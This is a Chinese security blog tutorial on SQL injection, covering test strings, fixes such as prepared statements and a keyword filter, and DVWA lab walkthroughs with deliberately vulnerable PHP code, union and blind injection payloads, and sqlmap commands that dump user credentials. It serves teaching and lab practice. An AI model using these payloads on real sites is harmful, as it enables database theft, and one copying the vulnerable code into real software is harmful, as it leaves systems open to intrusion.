Web安全-SQL注入漏洞

概述

什么是SQL注入?来看一下下面的案例场景,这是正常情况下的登陆场景:
在这里插入图片描述
而当我们使用 用户名‘:– 的时候,密码随便输入也可以登陆成功
在这里插入图片描述
这时候对比两条sql就能发现,其实用户通过在用户名写入的sql符号将内部sql提前结束,并且将后半句检索条件注释起来达到免密码登陆效果

小结: SQL注入就是本来我只有我能操作数据库,本来只是让你输入内容就走,而你却输入命令,从而在我不知情下操作数据库。

手工检测

Web应用的主要注入点有:

  1. POST请求体中的参数;
  2. GET请求头URL中的参数;
  3. Cookie。

闭合类型

1、数字型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id=1 LIMIT 0,1
注入语句:http://localhost/index.php?id=1 and 1=1 %23
SQL语句:SELECT * FROM users WHERE id=1 and 1=1 # LIMIT 0,1

2、字符型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id='1' LIMIT 0,1
注入语句:http://localhost/index.php?id=1' and 1=1 %23
SQL语句:SELECT * FROM users WHERE id='1' and 1=1 #' LIMIT 0,1

3、其他变体

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id=('1') LIMIT 0,1
注入语句:http://localhost/index.php?id=1') and 1=1 %23
SQL语句:SELECT * FROM users WHERE id=('1') and 1=1 #') LIMIT 0,1

字符型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
’ or ‘1’ = '1') or (‘1’ = '1永真,返回所有行
’ or ‘1’ = '2') or (‘1’ = '2空,不影响返回结果
’ and ‘1’ = '2') and (‘1’ = '2永假,返回空

如果系统限制了某些字符不能输入,我们可以对相关字符进行URL编码转换后尝试绕过,常见需要编码的字符如下:

  • 加号(+)编码为:%2B
  • 等号(=)编码为:%3D
  • 单引号(’)编码为:%27
  • 注释号(#)编码为:%23

数字型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
or 1 = 1) or (1 = 1永真,返回所有行
or 1 = 2) or (1 = 2空,不影响返回结果
and 1 = 2) and (1 = 2永假,返回空

终止式注入

测试字符串变体预期结果
’ ; - -’ ) ; - -字符串参数,返回指定行集
’ ; #’ ) ; #字符串参数,返回指定行集
’ or ‘1’ = ‘1’ ; - -’ ) or ‘1’ = ‘1’ ; - -永真,返回所有行
’ and ‘1’ = ‘2’ ; - - +’ ) and ‘1’ = ‘2’ ; - - +永假,返回空
and 1 = 2 #) and 1 = 2 #永假,返回空

漏洞修复

SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

1、预编译语句

会产生上面的情况是因为上面的SQL是使用动态拼接的方式,所以sql传入的方式可能改变sql的语义。

动态拼接就是在java中java变量和SQL语句混合使用:

    select * from user where userName=’”+userName+”’ and password = ‘”+password”’

所以要使用preparedStatement的参数化SQL,通过先确定语义,再传入参数(通过setInt,setString,setBoolean传入参数),就不会因为传入的参数改变sql的语义。

来看看参数化SQL使用案例:

  /建立数据连接 
  conn=ds.getConnection(); 
  //1.设置prepareStatement带占位符的sql语句
   PreparedStatement ptmt = conn.prepareStatement("select * from user where userName = ? and password = ?");
   //2.设置参数  
   ptmt.setString(1, "张三"); 
   ptmt.setString(2, "123456"); 
   rs=ptmt.executeQuery(); 
   while(rs.next()){ 
       System.out.println("登陆成功"); 
       return; 
   } 
   System.out.println("登陆失败");

用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

使用好处

(1) 代码的可读性和可维护性.

(2) PreparedStatement尽最大可能提高性能.

(3) 最重要的一点是极大地提高了安全性.

原理

SQL注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析、准备,因此也就避免了SQL注入问题。

2、字符串过滤

比较通用的一个方法(||之间的参数可以根据自己程序的需要添加):

public static boolean sql_inj(String str) {
  String inj_str = "'|and|exec|insert|select|delete|update|
  count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";
  String inj_stra[] = split(inj_str,"|");

  for (int i=0 ; i < inj_stra.length ; i++ ){
     if (str.indexOf(inj_stra[i])>=0){
        return true;
    }
  }
  return false;
}

3、框架技术

在这里插入图片描述在这里插入图片描述

4、使用存储过程

在这里插入图片描述

DVWA

SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。近期很火的大使馆接连被黑事件,据说黑客依靠的就是常见的SQL注入漏洞。

普通注入

自动化的注入神器sqlmap固然好用,但还是要掌握一些手工注入的思路,下面简要介绍手工注入(非盲注)的步骤。

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解SQL查询语句中的字段数
  3. 确定显示的字段顺序
  4. 获取当前数据库
  5. 获取数据库中的表
  6. 获取表中的字段名
  7. 下载数据

下面对四种级别的代码进行分析。

【Low】

服务器端源代码:

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_REQUEST[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

可以看到,Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤,存在明显的SQL注入。

漏洞利用

现实攻击场景下,攻击者是无法看到后端代码的,所以下面的手工注入步骤是建立在无法看到源码的基础上。

1、判断是否存在注入,注入是字符型还是数字型

(1) 输入1,查询成功:
在这里插入图片描述
(2) 输入1' and '1'='2,查询失败,返回结果为空:

在这里插入图片描述
(3)输入1' or '1'='1,查询成功:
在这里插入图片描述
返回了多个结果,说明存在字符型注入

2、猜解SQL查询语句中的字段数

(1)输入1' or 1=1 order by 1 #,查询成功:
在这里插入图片描述
(2)输入1' or 1=1 order by 2 #,查询成功:
在这里插入图片描述
(3)输入1' or 1=1 order by 3 #,查询失败:
在这里插入图片描述说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname(这里也可以通过输入union select 1,2,3…来猜解字段数)。

3、确定显示的字段顺序

输入1' union select 1,2 #,查询成功:
在这里插入图片描述
说明执行的SQL语句为select First name,Surname from 表 where ID=’id’

4、获取当前数据库

输入1' union select 1,database() #,查询成功:
在这里插入图片描述
说明当前的数据库为dvwa。

5、获取数据库中的表

输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:
在这里插入图片描述说明数据库dvwa中一共有两个表,guestbook与users。

6、获取表中的字段名

输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #,查询成功:
在这里插入图片描述说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7、下载数据

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
在这里插入图片描述

【Medium】

服务器端源代码:

<?php 

if( isset( $_POST[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    //mysql_close(); 
} 

?> 

可以看到,Medium级别的代码利用mysql_real_escape_string()函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
在这里插入图片描述
漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数

1、判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为1' or 1=1 #
在这里插入图片描述
结果网页报错:
在这里插入图片描述抓包更改参数id为1 or 1=1 #,查询成功:
在这里插入图片描述
说明存在数字型注入(由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号)。

接下来的注入猜解工作和前面Low级别的是一样的,只是都是由BurpSuite抓包后改包来实现语句注入和查询,故此处不再复述以上操作。

【High】

服务器端源代码:

<?php 

if( isset( $_SESSION [ 'id' ] ) ) { 
    // Get input 
    $id = $_SESSION[ 'id' ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?> 

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,直接最后一步演示下载数据。

输入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:
在这里插入图片描述需要特别提到的是,High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入
在这里插入图片描述
【Impossible】

服务器端源代码:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ 'first_name' ]; 
            $last  = $row[ 'last_name' ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。

SQL盲注

普通SQL注入SQL盲注
执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等。一般在页面上直接就会显示执行sql语句的结果。一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)。一般在页面上不会直接显示sql执行的结果。

即SQL盲注与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

手工盲注思路

手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

盲注分为基于布尔的盲注、基于时间的盲注以及基于报错的盲注,这里由于实验环境的限制,只演示基于布尔的盲注与基于时间的盲注。

下面简要介绍手工盲注的步骤(可与之前的手工注入作比较):

  1. 判断是否存在注入,注入是字符型还是数字型
  2. 猜解当前数据库名
  3. 猜解数据库中的表名
  4. 猜解表中的字段名
  5. 猜解数据

下面对四种级别的代码进行分析。

【Low】

服务器端源代码:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Get input 
    $id = $_GET[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,User ID exists in the database.User ID is MISSING from the database.因此这里是SQL盲注漏洞。

漏洞利用

(首先演示基于布尔的盲注

1、判断是否存在注入,注入是字符型还是数字型

(1)输入1,显示相应用户存在:
在这里插入图片描述
(2)输入1' and 1=1 #,显示存在:
在这里插入图片描述
(3)输入1' and 1=2 #,显示不存在:
在这里插入图片描述
说明存在字符型的SQL盲注。

2、猜解当前数据库名

(1)想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

    输入1’ and length(database())=1 #,显示不存在;
    输入1’ and length(database())=2 #,显示不存在;
    输入1’ and length(database())=3 #,显示不存在;
    输入1’ and length(database())=4 #,显示存在:

说明数据库名长度为4。

(2)下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);
输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);
输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);
输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。
…

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。

3、猜解数据库中的表名

(1)首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

(2)接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。

4、猜解表中的字段名

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在
…
1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。采用二分法,即可猜解出所有字段名。

5、猜解数据

同样采用二分法。

(除了上面基于布尔的盲注,还可以使用基于时间的盲注):

1、判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,感觉到明显延迟;
输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。

2、猜解当前数据库名

首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟
1’ and if(length(database())=2,sleep(5),1) # 没有延迟
1’ and if(length(database())=3,sleep(5),1) # 没有延迟
1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟
…
1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟
1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟
说明数据库名的第一个字符为小写字母d。
…

重复上述步骤,即可猜解出数据库名。

3、猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟
1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。采用二分法即可猜解出表名。

4、猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟
 …
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。采用二分法即可猜解出各个字段名。

5、猜解数据

同样采用二分法。

【Medium】

服务器端源代码:

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
    // Get input 
    $id = $_POST[ 'id' ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    //mysql_close(); 
} 

?> 

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

在这里插入图片描述
漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数id,提交恶意构造的查询参数。

之前已经介绍了详细的盲注流程,这里就简要演示几个。

首先是基于布尔的盲注

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

【High】

服务器端源代码:

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
    // Get input 
    $id = $_COOKIE[ 'id' ]; 

    // Check database 
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

    // Get results 
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors 
    if( $num > 0 ) { 
        // Feedback for end user 
        echo '<pre>User ID exists in the database.</pre>'; 
    } 
    else { 
        // Might sleep a random amount 
        if( rand( 0, 5 ) == 3 ) { 
            sleep( rand( 2, 4 ) ); 
        } 

        // User wasn't found, so the page wasn't! 
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

        // Feedback for end user 
        echo '<pre>User ID is MISSING from the database.</pre>'; 
    } 

    mysql_close(); 
} 

?> 

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

【Impossible】

服务器端源代码:

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $id = $_GET[ 'id' ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
        $data->bindParam( ':id', $id, PDO::PARAM_INT ); 
        $data->execute(); 

        // Get results 
        if( $data->rowCount() == 1 ) { 
            // Feedback for end user 
            echo '<pre>User ID exists in the database.</pre>'; 
        } 
        else { 
            // User wasn't found, so the page wasn't! 
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

            // Feedback for end user 
            echo '<pre>User ID is MISSING from the database.</pre>'; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

SQLMap

SqlMap是十分著名的、自动化的SQL注入工具。

详细教程可参考: https://blog.csdn.net/wn314/article/details/78872828#t7

SQLMap常见的用法简单来说分为三类:

  1. Get请求包的注入点测试命令:
    sqlmap.py -u “http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0”;
  2. Post请求包的注入点测试命令:
    sqlmap.py -u “http://localhost:8001/dvwa/vulnerabilities/sqli_blind/” --data="id=1&Submit=Submit" --cookie=“security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0”
  3. 通用型简单测试命令:
    sqlmap.py -r E:\sql.txt(保存请求包数据的txt文件)

【区分】DVWA中SQL注入的Low等级是GET请求方式,使用SQLMap时直接在浏览器url中传递参数即可;而Medium等级,所提交的User ID数据是通过POST请求方式,参数是在POST请求体中传递。此时,构造SQLMap操作命令,则需要将url和data分成两部分分别填写。

【注意】一般测试命令中的URL后面是不需要带cookie值的,但是DVWA中利用SQLMap进行注入测试时,若不提供Cookie将会提示302重定向使得页面跳转回登录页,必须在保持登录下才能顺利进行测试,故操作命令中需带上登录账户的cookie信息--cookie="xxx"
在这里插入图片描述
综上,前两种方法既得判断GET/POST请求,还得考虑各种参数,太麻烦了,直接选择第三种方法通吃(请求包数据里已经包含了所有参数值)。下面将进行Low等级下使用SQLMap的第三种方法进行SQL注入的检测和利用。

1、首先输入ID=1,点击Submit,并用BurpSuite拦截请求包:
在这里插入图片描述在这里插入图片描述
2、然后直接上SQLMap测试是否存在注入点,命令为: sqlmap.py -r E:\sql.txt
在这里插入图片描述测试结果显示存在注入点:
在这里插入图片描述3、接着开始获取DBMS中所有的数据库名称,命令sqlmap.py -r E:\sql.txt --dbs
在这里插入图片描述
4、然后获取Web应用当前连接的数据库,命令sqlmap.py -r E:\sql.txt --current-db
在这里插入图片描述5、列出当前数据库的所有表,命令sqlmap.py -r E:\sql.txt -D dvwa --table
在这里插入图片描述6、获取当前数据库指定表的字段名称,命令sqlmap.py -r E:\sql.txt -D dvwa -T users --columns
在这里插入图片描述7、读取当前数据库指定表下指定字段的内容,命令sqlmap.py -r E:\sql.txt -D dvwa -T users -C "user,password" --dump
在这里插入图片描述至此,爆出了所有账户和密码,可见SQLMap工具的强大。我们可以利用SQLMap毫无障碍地顺利爆出DVWA的SQL注入漏洞Low和Medium两个安全等级下的数据库数据,High级别则行不通(原因请翻看前文High级别的手工注入)。

SQLMap的详细教程可参考: https://blog.csdn.net/wn314/article/details/78872828#t7

  • 3
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tr0e

分享不易,望多鼓励~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值